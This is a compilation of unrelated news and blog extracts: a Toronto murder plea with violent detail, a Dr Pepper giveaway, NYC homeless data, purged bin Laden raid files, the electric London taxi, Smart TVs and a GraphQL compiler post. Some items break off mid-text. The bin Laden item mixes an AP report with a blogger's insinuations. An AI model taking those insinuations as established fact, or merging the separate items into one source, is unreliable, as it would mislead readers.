-The Toronto couple wanted in the 2015 death of Sina Parsi have both pleaded guilty to murder.  Clyde Marshall — who was sentenced on Wednesday — pleaded guilty to first-degree murder and has been sentenced to life behind bars, while Sabrina Chouart pleaded guilty to the lesser charge of second-degree murder. Her sentencing will come at a later date.  Both were the subject of a nationwide manhunt for two weeks following the death of 32-year-old Parsi, whose body was found in the couple's Toronto apartment following his disappearance in June 2015.  "Clyde Marshall has the most tragic history I've ever heard," said one of his lawyers, Alana Page, in a statement to CBC Toronto. Marshall, originally from New Brunswick, was 37-years-old at the time of the murder, and Chouart, originally from Gatineau, was 28.  "He recognizes that he did a horrible thing. Not many people plead guilty to first degree murder, given the inevitable sentence of life in prison with no parole eligibility for 25 years."  Marshall showed remorse, Page said, and pleaded guilty in part to make sure Parsi's wife, and Marshall's children, wouldn't suffer through a prolonged trial.  Parsi had gone missing after a soccer game two years ago. York Regional Police initially treated the Vaughan man's disappearance as a missing persons case, but clues later led them to Marshall and Chouart's eighth-floor apartment at 230 Woolner Avenue, near Jane Street and St. Clair Avenue West in central Toronto, where Parsi's body was found.  At the time, police called it a "violent" murder, and an agreed statement of facts later shed more light on what happened on the night of June 9, 2015.  Sina Parsi, 32, disappeared on June 9, 2015, after he left a soccer game in the Teston Road and Highway 400 area. He drove away in his 2012 black Dodge Ram pick-up truck and was found dead, days later, in Toronto. (York Regional Police)  'Consensual sexual activity' before murder  That evening, Parsi abruptly left the York Region soccer field where he was playing with friends and drove to Toronto.  Around 11:30 p.m., he met Marshall and Chouart at a Tim Hortons — a pre-arranged meeting. The three then went to Marshall and Chouart's apartment, their movements captured on the building's surveillance system.  Once inside the pair's unit, some consensual sexual activity happened, including the tying of Parsi's wrists, according to the statement of facts.  Soon after, Parsi was forcibly confined to the pair's bed, face down and naked. Various ropes and a cloth belt were used to confine him in different manners throughout the night.  Back in 2015, Toronto police released video footage Monday of Clyde Marshall, 36, and Sabrina Chouart, 27, when they were wanted for the first-degree murder of Sina Parsi, 32. (Toronto police)  Parsi was also hit repeatedly, leading to a fractured nasal bone and neck bone, and blood on the surface of his brain, among other injuries.  He was eventually killed through ligature strangulation, coupled with wrist restraint injuries and blunt trauma of the head, face and torso.  During Parsi's confinement, his PIN number was extorted and his wallet was taken, with Marshall and Chouart withdrawing around $400 in cash from his account.  Shortly after 4 a.m., Marshall and Chouart left their apartment for the last time with their dog and backpacks.  On their way out, Marshall paused — and waved at a surveillance camera.  Suspects Sabrina Chouart and Clyde Marshall nabbed at Walmart in Niagara Falls 6:10  The pair left their dog tied to a pole and went to Niagara Falls by bus, where they were later spotted after 11 days on the run by store security in a Wal-Mart.  In a letter to Parsi's wife, Roya Parsi, Marshall apologized for the murder and said he did a "terribly horrible thing."  "Your husband didn't deserve what happened to him, nor you the pain you'll always feel," Marshall wrote.
-Trying to get a free Dr. Pepper coupon today and finding yourself unable to get through? You aren’t alone.  Dr. Pepper appears to be overwhelmed by the response to its offer of free Dr. Pepper in honor of Guns N’ Roses long-awaited release of “Chinese Democracy.” The Dr. Pepper Web site, www.drpepper.com, is returning a number of errors today as its server seems to be being bombarded with more traffic than it can handle. Those who do get through past the errors are often finding themselves stuck on the Flash-heavy site’s “Loading” screen with no progress.  In case you hadn’t heard, Dr. Pepper said it’d give anyone visiting the site Sunday a 20-ounce soda following its statement earlier this year that it’d hand out free Dr. Pepper if Guns N’ Roses’ “Chinese Democracy” actually did come out in 2008. (The album — which is officially available for the first time today — had been in the works for 14 years and had seen more than a few delays.)  Take a note from Axl, though, and have some patience: The free Dr. Pepper coupon giveaway will remain active until 12:01 a.m. tonight. We’re assuming that’s Eastern time, although the company has never explicitly stated.  Dr. Pepper has also now set up a toll-free number for those unable to connect online. You can call 1-800-696-5891 to get your coupon.  Welcome to the jungle, baby. The free soda jungle, that is.
-New York is facing a crisis. The city that never sleeps has become the city with the most people who have no home to sleep in. As rising rents outpace income growth across the five boroughs, some 62,000 people, nearly 40 percent of them children, live in homeless shelters—rates the city hasn't seen since the Great Depression.  As New York City Mayor Bill de Blasio faces reelection in November, his reputation and electoral prospects depend in part on his ability to reverse this troubling trend. In the mayor's estimation, combatting homelessness effectively will require opening 90 new shelters across the city and expanding the number of outreach workers who canvass the streets every day offering aid and housing. The effort will also require having the technology in place to ensure that work happens as efficiently as possible. To that end, the city is rolling out a new tool, StreetSmart, aims to give city agencies and non-profit groups a comprehensive view of all of the data being collected on New York's homeless on a daily basis.  Think of StreetSmart as a customer relationship management system for the homeless. Every day in New York, some 400 outreach workers walk the streets checking in on homeless people and collecting information about their health, income, demographics, and history in the shelter system, among other data points. The workers get to know this vulnerable population and build trust in the hope of one day placing them in some type of housing.  NYC Department of Homeless Services  Traditionally, outreach workers have entered information about every encounter into a database, keeping running case files. But those databases never talked to each other. One outreach worker in the Bronx might never know she was talking to the same person who’d checked into a Brooklyn shelter a week prior. More importantly, the worker might never know why that person left. What's more, systems used by city agencies and non-profits seldom overlapped, complicating efforts to keep track of individuals.  "It would require reinventing the wheel in every case," says Human Resources Administration Commissioner Steve Banks.  A True View  Banks wanted a tool that would not only enable workers to coordinate their efforts, but also give the city government a true overview of the homelessness problem that would enable officials to design interventions based on real data, not rough estimates. The city’s tech team worked with non-profit organizations such as Project Hospitality in Staten Island as well as BronxWorks to find out what the outreach workers on the front lines of this citywide disaster need.  “The work itself is difficult, but then managing the work, and where people are and tracking folks is a big, huge thing we deal with,” says Juan Rivera, who directs homeless outreach for BronxWorks.  Outreach workers need to be armed with as much information as possible if they’re going to build trust with clients, Rivera says. They need to know, for instance, if a homeless individual in their neighborhood recently left a detox program in another neighborhood. That person might need more than just a bed to get back on his feet. StreetSmart gives outreach workers access to that information. At the same time, the team behind StreetSmart took pains to protect clients’ privacy, so, for instance, only authorized officials would have access to people’s medical history.  NYC Department of Homes Services  The big promise of StreetSmart extends beyond its ability to help outreach workers in the moment. The aggregation of all this information could also help the city proactively design fixes to problems it wouldn’t have otherwise seen. The tool has a map feature that shows where encampments are popping up and where outreach workers are having the most interactions. It can also be used to assess how effective different housing facilities are at keeping people off the streets.  Which, of course, is what all of this is really about. All of the technology in the world won’t matter if the facilities available to homeless people are fundamentally unsafe places where they don’t want to be. “The more we can integrate services the better,” says Deborah Padgett, a professor of social work at New York University. “But my concern is what is waiting for them once they get off the street?”  Padgett is one of many advocates who argue that what the city is offering today is far from enough. The Coalition for the Homeless has argued that expanding the shelter system is simply a Band-aid on the much deeper wound: the lack of permanent affordable housing in the city.  Commissioner Banks, a former attorney-in-chief at the Legal Aid Society, which represents low-income New Yorkers, acknowledges that underlying issue. "This has been a trajectory over multiple decades reflective of the need for affordable housing," he says.  These knotty societal issues, decades in the making, could very likely take decades to unwind—no matter how efficient the technology working in service of ending the problem.
-Submitted by Michael Krieger via Liberty Blitzkrieg blog,  The Osama Bin Laden raid was suspect from the very beginning. Not only were key initial descriptions of the assault completely incorrect (such as him being armed and his wife being killed), but the manner in which his body was rapidly tossed into the ocean was beyond bizarre. I mean, Tony Soprano keeps a body longer than that.  Well it seems the “most transparent administration ever” has made sure that the American public never receives any information beyond the propaganda of Zero Dark Thirty. From the Associated Press:  WASHINGTON (AP) — The nation’s top special operations commander ordered military files about the Navy SEAL raid on Osama bin Laden’s hideout to be purged from Defense Department computers and sent to the CIA, where they could be more easily shielded from ever being made public.  The secret move, described briefly in a draft report by the Pentagon’s inspector general, set off no alarms within the Obama administration even though it appears to have sidestepped federal rules and perhaps also the Freedom of Information Act.  But secretly moving the records allowed the Pentagon to tell The Associated Press that it couldn’t find any documents inside the Defense Department that AP had requested more than two years ago, and could represent a new strategy for the U.S. government to shield even its most sensitive activities from public scrutiny.  McRaven’s directive sent the only copies of the military’s records about its daring raid to the CIA, which has special authority to prevent the release of “operational files” in ways that can’t effectively be challenged in federal court. The Defense Department can prevent the release of its own military files, too, citing risks to national security. But that can be contested in court, and a judge can compel the Pentagon to turn over non-sensitive portions of records.  The AP asked the Defense Department and CIA separately for files that included copies of the death certificate and autopsy report for bin Laden as well as the results of tests to identify the body. While the Pentagon said it could not locate the files, the CIA, with its special power to prevent the release of records, has never responded. The CIA also has not responded to a separate request for other records, including documents identifying and describing the forces and supplies required to execute the assault on bin Laden’s compound.  McRaven’s unusual order would have remained secret had it not been mentioned in a single sentence on the final page in the inspector general’s draft report that examined whether the Obama administration gave special access to Hollywood executives planning a film, “Zero Dark Thirty,” about the raid. The draft report was obtained and posted online last month by the Project on Government Oversight, a nonprofit watchdog group in Washington.  The refusal to make available authoritative or contemporaneous records about the bin Laden mission means that the only official accounts of the mission come from U.S. officials who have described details of the raid in speeches, interviews and television appearances. In the days after bin Laden’s death, the White House provided conflicting versions of events, falsely saying bin Laden was armed and even firing at the SEALs, misidentifying which of bin Laden’s sons was killed and incorrectly saying bin Laden’s wife died in the shootout. Obama’s press secretary attributed the errors to the “fog of combat.”
-ES News Email Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account  A 13-year-old boy today completed a challenge to visit all 270 London Underground stations in one day in memory of his older brother who died after a battle with cancer.  Alasdair Clift, from Wirral, Merseyside, took on the "Tube Challenge" to raise money for charity Bloodwise after his brother Adam, 17, died from lymphoma in March.  The teenager began his journey at Chesham station at 5.15am on Monday and finished at Heathrow airport in the early hours of Tuesday, having navigated the entire Underground network.  Alasdair, who is "fascinated" by transport, has so far received more than £11,000 in donations - far exceeding his original target of £100.  After spending nearly 20 hours on the tube with his father, Richard Clift, 50, the schoolboy arrived at Terminal 5 to applause from a welcome party of relatives, Tube staff and police officers shortly before 1am.  Speaking as the achievement sank in, Alasdair said he felt "tired, but proud and happy" for the huge support he had been shown.  He said: "This has been an ambition of mine for a while.  "In 2013 my brother was diagnosed with lymphoma and unfortunately after many rounds of treatment he passed away in March.  "I've done this challenge to hopefully give other people a better chance."  Mr Clift said the kindness shown by fellow travellers and tube workers had been "phenomenal".  He added: "We have had a very warm day on the tube and in terms of feeling shown to us.  "We have had terrific support, with people sticking their heads into the carriages saying how wonderful we are and the Transport for London staff have been right behind us.  "Alasdair felt like a star."  Mr Clift said they had been touched by the "random gestures of complete strangers" who donated along the way.  Alasdair was allowed to ride in the front cab for the first two journeys of his challenge and was given a certificate recognising his achievement from Mark Wild, the managing director of London Underground, at Southwark station.  Mr Clift earlier said he and his wife Caroline, 51, had been "overawed" by Alasdair, who single-handedly arranged the challenge.  "We're very proud - and very proud of his organisation skills because Caroline and I have had absolutely nothing to do with it," he said.  Donations for Alasdair's Tube Challenge can be made through JustGiving at www.justgiving.com/fundraising/Alasdair-Clift  Additional reporting by Press Association.
-For anyone fighting to conserve the health and prosperity of our planet, it's worthwhile trying to understand those on the other side of the debate: climate change doubters.  While there are various theories about what it is that causes individuals, often whom are well-educated and articulate, to ignore the growing consensus among climate scientists as the to the firm evidence behind global warming.  Watch this next: How climate change deniers sound to everyone else  Nature Climate Change has recently looked at a broad range of studies undertaken into climate change beliefs with the goal of finding common traits among doubters.  According to The Washington Post, "The analysis included nearly 200 previous polls and studies conducted in 57 countries around the world" and "examined the influence of a variety of different variables, including demographic characteristics like age, sex and education…overall level of concern about the environment, and…what sorts of concrete environmental policies people support."  Researchers for the journal have concluded that of all the personal characteristics examined by scientists to date, the most significant factors for an individual's perspective on climate change are "political affiliations, worldviews and values."  This might seem obvious, but these findings provide strong evidence that can now be used by environmentalists to tailor the way in which they try to communicate to doubters.
-IT LOOKS very similar to every other London black cab currently on the road but the new London taxi, which goes into service today, is a quantum leap ahead of the diesel-powered TX4 it replaces.  There are many updates to the TX but the revolution comes under the bonnet: electric power. Cabbies who upgrade to the new model will be able to charge up its lithium ion battery and drive around 80 miles without emitting a gram of harmful toxins into the atmosphere.  That’s not enough for most daily shifts, according to the driver who gave us a lift away from our preview drive of the TX in his rattly old diesel-powered TX4 – he normally covers around 120 miles per day – but thanks to an additional on-board generator and fuel tank, the TX can keep going for around 377 miles before it needs a top-up of electricity or petrol. It can also be recharged at a 22kW fast charger to 60% of the battery in 45 minutes (good for 50 miles electric range), even faster using a 50kW rapid charger (there are two separate sockets on the nose of the cab).  Browse NEW or USED cars for sale  The TX is currently the only new taxi fully-certified by Transport for London to take fare-paying passengers in London; various other projects announced around the same time as the TX in 2012, including one involving the Nissan NV200, which is used in New York, fell away due to the cost of development to meet new rules requiring any new cabs on the roads of the capital to be capable of running at least 30 miles on a zero emission electric charge. The change takes place at the turn of the year.  The new London cab is also the first “dedicated and zero-emissions-capable” taxi in the world to enter series production, says maker the London Electric Vehicle Company, which is wholly-owned by Geely, the Chinese conglomerate that has helped transform the fortunes of Volvo.  Our first taste of the new cab is fairly typical: being picked up at the roadside. The absence of a diesel thrum is apparent when you’re listening out for it, but many punters may miss the tell-tale sign that they are joining the electric revolution until they set off in near-silence. The smooth, quick acceleration may also come as a surprise to those not used to the immediate torque of an electric vehicle.  This is arguably the hidden significance of the new London taxi: not only will it help clean up polluted air, which is the biggest environmental risk to public health in Britain, according the government, but could act as a catalyst for the adoption of plug-in vehicles. Almost everyone will have heard of electric cars but for many, this will be their first hands-on experience of one. There are other electric minicabs on our roads but none are a symbol of Britain and Britishness in the way that a London taxi is. Thanks to the TX, electric vehicles could soon be seen as “normal” on London’s roads.  That’s assuming it’s a pleasant and trouble-free experience for the customers, of course. Riding in the back of the TX, few will notice the improvement in ride quality, but one thing is clear: this is a London taxi. Although almost every component, bar the grab handles and rear windscreen wiper (“We couldn’t think of a way to improve that,” we were told), is new, the changes to the interior are subtle. There are now a couple of USB charging sockets either side of the rear bench so passengers can charge their mobile phones, a three pin socket behind the driver for laptops and a WiFi network for internet access, but essentially the interior looks very similar to the outgoing TX4 cab, right down to the seat trim colours.  Those with a keener eye will spot the extra rear-facing seat, however, which is hugely significant for the drivers we spoke to (“The amount of times I’ve had to pass up a fare because there were six customers…”), as well as the touch-sensitive temperature controls, which replace the on-off fan switch. Look up and they’ll notice the huge panoramic sunroof, too, which is standard on all new TX models.  For wheelchair users, a ramp is now integrated under the floor and can be pulled out by the driver (rather than being stored in the boot), and users are able to face forward in the TX; shockingly, they were forced to face backwards in the TX4. As before, an induction loop for the hard of hearing is integrated into the rear cabin of the TX.  Switching positions with our driver, it becomes clear that there’s been a revolution up front, too. Anyone familiar with a modern Volvo will recognise the switchgear, instrumentation and touchscreen infotainment system, which interestingly now includes sat nav. This is not because the London cabby has given up on the world-famous and intensely difficult “Knowledge” test, whereby they memorise the thousands of streets and landmarks within a six mile radius of Charing Cross, but so that they can see a real-time map of traffic snarl-ups.  Given the amount of time spent behind the wheel, seat comfort is of paramount importance to cabbies, and we found the new Geely-designed throne to be very comfortable. Patrick Follen, one of the LEVC development drivers, told us some drivers have been known to rip out the standard seat from previous TX models, replacing them with after-market models from the likes of Recaro, and that with his old TX4 he had to take regular breaks in order to prevent discomfort. We weren’t able to verify this with the TX4 cabbie we spoke to later in the day; he’s managed entire shifts at the wheel, he said, although did concede that comfort can always be improved.  Drivers of the TX get a number of active safety systems, too. Electronic stability control, forward collision warnings and autonomous emergency braking are all lifted straight out of the Volvo parts bin, meaning frontal collisions with other cars, cyclists and pedestrians are much less likely.  This is all good news, but if the new taxi is to be a success, it needs to be tough. London cabbies cover around 30,000 miles a year (the standard term for finance when buying the TX), and the vehicles face constant stop-start conditions and plenty of abuse from drivers and passengers alike. To make sure the TX is up to the challenge, Eddie Marr, head of development, told us it’s the most comprehensively tested and developed product in the London Taxi Company’s (LEVC’s former name) history.  Developed over five years, the last two have involved testing in extreme conditions, such over rough terrain at testing facilities, to ensure durability, as well as in the heat of the Californian desert and the frozen Arctic Circle where ambient temperatures drop as low as -15°C. Just to be sure, the car was stored in freezers at -49°C to check that it would start up without trouble after a particularly cold night, but if it gets that cold in the capital, Londoners probably have bigger problems on their hands.  In addition, Geely has invested £300m in a new production facility in Ansty, Coventry. The site has the capacity to build more than 20,000 vehicles per year, with a view to exporting the model to Europe in future.  On paper, at least, the proposition is attractive. The company says the TX in Vista trim costs £55,599 on-the-road, and on a PCP deal with a £3,250 deposit works out at weekly payments of £177, which is just £10 per week more than the outgoing TX4. LEVC’s own calculations suggest there’s a saving of £97 per week on fuel, though, as well as savings on servicing, so overall running costs would be lower if a driver were to switch.  Browse NEW or USED cars for sale  Cabbies are a pragmatic breed, though, and most, like the TX4 driver after the LEVC event, are likely to wait and see how the new TX pans out over the coming year or so before committing themselves. Their existing diesel cabs are unaffected by new emissions regulations, including the Ultra-low Emission Zone (ULEZ) coming into force on April 8, 2019. And besides, the diesel TX4 has been Euro6-compliant since 2015, meaning it meets the latest official requirements on pollution.  And with around 400 pre-orders for London with LEVC expecting to build around the same amount in 2018, the TX may herald a revolution, but don’t expect it to happen overnight.  Looking even further down the road, the long-term future of the London taxi could be more of a concern for those in the industry. The rise of ride-hailing apps such as Uber, and the advent of self-driving vehicles are obvious threats. On the face of it, LEVC isn’t worried, saying passengers will always need a driver, particularly if they’re disabled, but even if the TX proves a runaway success and a beacon for electric motoring, it could be the last-hurrah for the black cab as we know it.  The cabbie’s view: developing a new London icon  Driving talks to Patrick Follen, a London taxi driver for the past 19 years, on helping test the new electric TX cab  What do you think of the new cab?  Chalk and cheese.  You still have a TX4?  Yeah, I have a TX4 with a Euro 5 engine. It’s old but well looked after. But driving these new cabs, it’s no comparison. This is like a luxury modern car. When I get back in my cab it feels like I’ve gone back 20 years. It’s noisy. Of course, you get used to that, but it’s also a horrible driving position. Someone of your size, you wouldn’t get comfy in one of the older cabs.  What’s the TX like to drive?  Unbelievable. It’s like a hot hatchback, it really is. I had a couple of guys in the back, one of them sitting on the flip seat, and other guy asked, “Is it quick?” So I floored it and the guy on the flip seat went flying. He said, “Well, that answers my question then.”  I found myself adjusting my driving style. For example, when you’re coming up to a roundabout and you see a gap, you’re going for the throttle before you need it in the older cab to compensate for the turbo lag. In these, the power is like a switch: on and off.  What’s the reaction going to be from other cabbies?  Some guys are not sure at first but once they’ve driven it, they want one. It’s like having an office job in some dingy basement and then, suddenly, they put you in some nice, shiny, glass-fronted office block for a time. When you go back to the basement, you want to be in shiny office again.  I mean, the price tag is a bit more than what we’re used to but we’re looking at the long term. You’re not going to buy this over one year, you’re going to buy this over three, maybe five years. So the savings are there.  Cyclists aren’t fans of diesel cabs; what’s their reaction been?  They’re giving me the thumbs up. Usually, they’re doing that to me [sticks middle finger up] when I’m in my diesel cab. Now it’s a nice clean cab, they’re like “You’re not polluting.”  Once we roll out more and more they’re not gonna look at us as polluting. It’ll be like, “They’re doing their bit.”  Bus companies need to start doing their bit now, because the bus is still quite heavily polluting isn’t it?  Do you think cabbies are going to bother charging them up, given they don’t need to?  Well, that’s the most efficient way to run this vehicle; to charge it from home. Some people may not be able to but, you know, there’s loads of charging points going in as we speak. Once the charging points are in you can bung it on for half an hour and grab a sandwich.  [Editor’s note: According to an LEVC spokesperson, TfL has committed to installing 75 rapid charging points by the end of this year, with 300 by 2020]  Are you worried about other electric car drivers squatting on charging points when you really need a top-up?  We’ll deal with that when we get to it. But at the moment the charging points are about. People are taking the mick really, they’re leaving their cars plugged in, all day, and they can park for nothing. So it is worth policing it.  And to get the most from the vehicle financially, I mean from home it costs me about £2.20 to charge it, overnight. Even when I drove it on Save mode, where it maintains the battery charge at 100%, for a couple of hundred miles, it worked out as getting roughly 50mpg. So it’s still streets ahead of a diesel cab.  How many mpg can you get in a diesel?  22, and that’s driving it nicely. It’s not good. And the actual maintenance of them, I mean, they eat brake pads. I did 400 miles in the TXt, did a check on the brake pads and they’re minimal wear because of the regenerative braking. You’re using the pads less.  You said you changed your driving style; has it made you a less aggressive driver?  It has, yeah. You float along, it’s all quiet and you’re always trying to extend the range by using as much regen as possible, but you’re literally driving with one foot aren’t you? Ease it off. On my current taxi, you’re brake-gas-brake-gas. With the TX, you’re not.  But it’s nice to know that it has the power there if you need to get out of trouble. Do you remember that advert BMW used to run, the ultimate driving machine. Do you remember how they used to describe their cars? This is the ultimate driving machine for taxis and passengers. It’s brilliant.  LEVX TX London Taxi specifications  Motor and battery  Driven wheels Rear  Peak power 110 kW / 150 PS  Peak torque 255 NM  rpm 11,500  Battery type 3 string lithium-ion 400 V  Gross storage capacity 31 kWh  On-board charging (AC/DC) 22 kW AC / 50 kW DC  Range-extender  Fuel type Petrol  Configuration Inline 3 DOHC 12-valves  Induction Direct injection, turbo-charged  Cubic capacity 1,477 cc  Power 60 kW / 82 PS  Torque 255 NM  Fuel tank capacity 36 L  Performance and economy  0 – 62 mph 13.2 secs  speed 80 mph  Official combined fuel economy 217.3 mpg  Official CO2 emissions 29 g/km  Pure EV (electric-only) range 80.6 miles  Total range 377 miles  Fuel economy (range-extender) 36.7 mpg  Kerb weight 2,230kg
-Breaking Fad The battle for Smart TV dominance continues to ratchet up, with Google and Firefox now both wading into the same connected space. The former has reignited its living room ambitions via Android TV, while open source rival Firefox has partnered with Panasonic.  40 years on from Ceefax and we're still gazing at menus for guides and information  You might reasonably expect both to be cut from much the same cloth, but having lived with new tellies from each camp, I can reveal there’s a world of difference. One is lithe, intuitive and fun to use. The other isn’t.  To go head-to-head, I borrowed an Android touting Sony 55-inch KD-55X8505C and Panasonic’s 50-inch Firefox OS enabled TX-50CX802B. Both of these new season 4K UHD TVs are priced around £1,800 and offer a comparable high-end feature set. Many will see their Smart functionality as a defining difference.  Google and Sony have been down the same connected road before. The first iteration of Google TV debuted Stateside in 2010, launching in the UK in 2012 with the NSZ-GS7 set top box.  Early Google TV – Sony's NSZ-GS7 set top box  The ambition, I was told back then, was to bring “the full freedom of the Internet to the TV for the first time.” The diminutive Sony STB sat between source and screen, and could navigate the web via a Chrome browser and run specialised apps.  The tech was pretty cool. The internet could be viewed simultaneously with live broadcasts via a Picture-in-Picture mode. At the time, Google TV was running a customised version of the Honeycomb OS, optimised for widescreen HD. Consumer interest though remained low. The car boot beckoned.  2015’s Lollipop-based Android TV platform is a good deal more ambitious. But will it be a consumer hit? Certainly cash-strapped TV manufacturers seen keen enough to sign-up, not least because it probably saves a lot of expensive dev work in-house. Both Sony and Philips will sell Android TVs in Europe. Sharp will offer sets in the US.  Turn on, tune in and wait for it...  In truth, I lost hope early on. The setup is laborious. The first thing you're prompted to do is sign in to your Google account, entering a code generated by the TV into an Android TV setup page on a networked browser. The screen then checks for any updates and prompts you to download. This proves quite a lengthy process, and that’s before it begins to optimise resident apps (of which there are more than 180 out of the box).
-Compiled GraphQL as a database query language  Predrag Gruevski Blocked Unblock Follow Following Jul 19, 2017  For nearly a year now, Kensho has been using GraphQL in a highly unusual way — by compiling GraphQL queries directly into a single, optimized graph database query. By hiding the complexity of the underlying database behind an expressive and easy-to-use GraphQL layer, we have been able to prototype and release new functionality to our clients in record time. Now, we are excited to release our GraphQL compiler as an open-source project!  A visualization of a subset of the Game of Thrones graph dataset that we will explore with compiled GraphQL. Blue vertices correspond to characters, red vertices are noble houses, and orange vertices represent regions in the Game of Thrones world. Adapted from the Creative Commons dataset available at: https://orientdb.com/public-databases/GamesOfThrones.zip  Quick intro to GraphQL  The logo of the GraphQL project: http://graphql.org/  Despite its name, GraphQL was not meant to be SQL for graph databases. Instead, GraphQL is an API query language developed by Facebook to improve the performance of interactions between a server and a client, such as a web browser or mobile app.  The client specifies what data fields it needs. Avoiding a predefined output format means that no unneeded data is sent, reducing the response transfer time to the necessary minimum.  The client can fetch multiple resources in a single query. Avoiding multiple back-to-back server requests means significantly less latency to complete loading data on the client.  Why compile GraphQL to database queries?  Unsurprisingly, GraphQL isn’t a silver bullet — the same problems that GraphQL helps avoid in the client-server setting now arise between the server and the database. Since the GraphQL execution model requires that a “resolver” function must be invoked for each field that is part of the query, a single GraphQL query could easily cause hundreds of database queries. Even if some of these queries can be cached, the network round-trips will add up.  We found we didn’t need separate resolver functions for every field of a given query. Instead, we’d much rather make sure that every GraphQL query executes efficiently in a single database round-trip — and that is precisely why we compile GraphQL queries directly into database queries.  Comparison between regular RPC without GraphQL, standard GraphQL, and compiled GraphQL. While GraphQL by itself reduces the overall number of round-trips necessary to answer a client query, compiled GraphQL ensures that any client request can be answered in precisely one database round trip, reducing latency and improving performance.  Expressing all database queries in GraphQL has other advantages, too:  The compiler is able to optimize and rewrite the query structure, improving performance and transparently inserting workarounds for bugs in the underlying database’s querying system.  GraphQL queries, together with most optimizations, are agnostic to the type of database used, and to the query language used to query that database. Adding support for a new query language or database system would not require rewriting any queries, and instead only requires adding a new code-generation backend for the desired target platform.  Even though the Gremlin query language is an Apache standard for querying graph data (and supported as a compilation target for our compiler), our experience has shown that most people find GraphQL a much more intuitive and beginner-friendly query language.  The compiler aggressively verifies the types and values of supplied parameters. This ensures that any GraphQL query results in a read-only, safe underlying database query — no SQL injection, no arbitrary code execution (Gremlin queries are frequently implemented as Groovy code, with full access to the JDK), no visits from Bobby Tables.  Indeed, when we started work on our GraphQL compiler, the OrientDB database we use had not yet added the MATCH graph querying operator we now rely on, and instead only supported the Gremlin graph query language. When MATCH support arrived, its significant performance improvements made it worthwhile to add support for generating MATCH-based queries in our compiler. Rather than needing to rewrite all our database queries in the new query language, the GraphQL abstraction made getting those performance improvements as simple as recompiling our GraphQL.  How does compiled GraphQL relate to “regular” GraphQL?  Every GraphQL query our compiler can compile is fully spec-compliant and valid “regular” GraphQL. All existing GraphQL tools just work: syntax highlighting, autocompletion, linting, IDE integration…  We use the Python port of the standard GraphQL library for parsing GraphQL input and validating it against the GraphQL schema:  Thanks to the standard GraphQL library, parsing and validating GraphQL queries is as simple as this!  The GraphQL compiler code then takes the generated AST, and returns a compiled query string together with inferred type metadata. The compiler library aims to be simple and lightweight: it does not run the query against the database and it does not include a server implementation — it simply transforms GraphQL strings into query strings. That way, the compiler library doesn’t care if you use Flask or Django, or if you talk to your database over HTTP, over a binary protocol, or via smoke signals.  Since we use GraphQL as a database query language, we use GraphQL’s built-in extension points to increase its expressive power. We add custom scalar types to represent date and date-time objects, as well as several custom directives that expose powerful database functionality. We’ll explore some of these in the remainder of this post and in future blog posts.  If you are already familiar with regular GraphQL, the two biggest differences you’ll notice when using compiled GraphQL are the lack of per-field “resolver” functions, and the fact that the output from running the compiled queries against the database is in the standard tabular format (rows and columns) rather than the nested format of regular GraphQL.  How does one query a database with GraphQL?  This section assumes that you are at least vaguely familiar with GraphQL syntax — feel free to quickly skim the official introduction to GraphQL if you aren’t already comfortable with it. In the spirit of Facebook’s Star Wars-based GraphQL examples, we’ll use examples inspired by Game of Thrones — a Game of GraphQL, if you will. And don’t worry — GraphQL does not support spoilers!  The GraphQL schema  Before we are able to query the database with GraphQL, we need to define a schema for GraphQL to use. The GraphQL schema is simply a translation of the database’s own schema into the GraphQL type system and can even be generated automatically by introspecting the database.  This is the GraphQL schema our Game of GraphQL examples will use.  In the above schema, CharacterOrHouse is an interface type, corresponding to a vertex class declared ABSTRACT in OrientDB terms, with two property fields: a string name and a list of strings alias . As a reminder, [String] in GraphQL notation simply refers to the “list of strings” type.  In contrast, Region is a concrete (non-abstract) type meant to represent geographical regions: Westeros (the continent), The North (the kingdom) and Winterfell (the castle) are all of type Region .  All edges in the graph are directed. For example, the edge whose name in the database is Lives_In starts at a Character and goes to a Region . This is reflected in the schema: Character has a field named out_Lives_In , of type [Region] , and Region has a corresponding field named in_Lives_In of type [Character] .  The directedness of edges allows Region vertices to point to their parent Region vertex that contains them: Westeros is the parent region of The North, which in turn is the parent region of Winterfell.  Edge fields are also always of list type: a single Region may have multiple characters living in it, and some characters may live in multiple regions.  Starting with vertices  Let’s start off simple and get the names of all characters in Game of Thrones.  Executing the resulting query string against the database returns a list of dictionary objects, each of which will have the key name and the name of a character as its value:  Readers already familiar with GraphQL may also object at the fact that our query explicitly marks the name field for output, via the @output directive. To show why that is necessary, consider the following GraphQL query, which returns the other names by which Jaime Lannister is known:  In the above query, we want to filter based on the name field, but we do not want to output it — therefore, we must explicitly specify which fields we want to output, and which unique name to assign to them in the response.  Let’s examine the @filter directive more closely. It reads from left to right, “the Character’s name equals the parameter named character_name .” This allows us to use the same query with different data:  The op_name specifies the filtering operation to apply. The compiler currently supports more than 10 operations, including standard comparison operators like <=, >, =, != , as well as more complex operations like substring matching.  specifies the filtering operation to apply. The compiler currently supports more than 10 operations, including standard comparison operators like , as well as more complex operations like substring matching. The value is the list of arguments that filtering operation takes. These arguments are always specially-formatted strings, and the list can contain more than one of them as some filtering operations take more than one argument. The "$character_name" value tells the compiler that this query expects a runtime parameter (signified by the $ prefix) named character_name . The compiler is able to infer this parameter is of type String , due to its equality comparison against the name field on Character that is of String type.  The compiler explicitly prohibits passing literal values as filter arguments. This does not limit functionality — users can simply pass the same value to a runtime parameter each time a given query is used — but does keep the compiler’s code simpler. Allowing literal values in GraphQL queries, much like literal values in SQL queries, may also open up a dangerous query injection vector: rather than using runtime parameters, users may be tempted to use simple string interpolation to insert data into their queries. After all, SQL injection as a result of string interpolation is still a common security vulnerability, despite the fact that SQL systems have supported parameterized queries for decades!  Querying across edges  We now ask for “the seat of power of each noble house.” This requires that we output the names of noble houses and the regions to which they are connected via a Has_Seat edge. Aside from the custom @output directive, the query is just normal GraphQL:  With this query, we are already doing fewer database round-trips than with regular GraphQL. Rather than calling resolver functions that individually query the database for the NobleHouse and out_Has_Seat fields, the compiler allows us to fetch all data from the database in a single operation.  As we add more and more fields to the query, regular GraphQL has to do more and more round-trips to the database, while compiled GraphQL always needs only one round-trip. Deeply-nested queries can be especially problematic with regular GraphQL, whereas they are no problem at all for compiled GraphQL: here at Kensho, we regularly execute GraphQL queries with 10 or more levels of nesting!  If we were to examine the (long) list of outputs produced by the above query, we’d notice that some NobleHouse vertices, like house Cassel, were not returned. Sir Rodrik Cassel is the beloved master-at-arms of Winterfell and the head of this house, and due to his service, his house does not have a castle of their own to make their seat. The above query filters out all NobleHouse vertices that did not have a 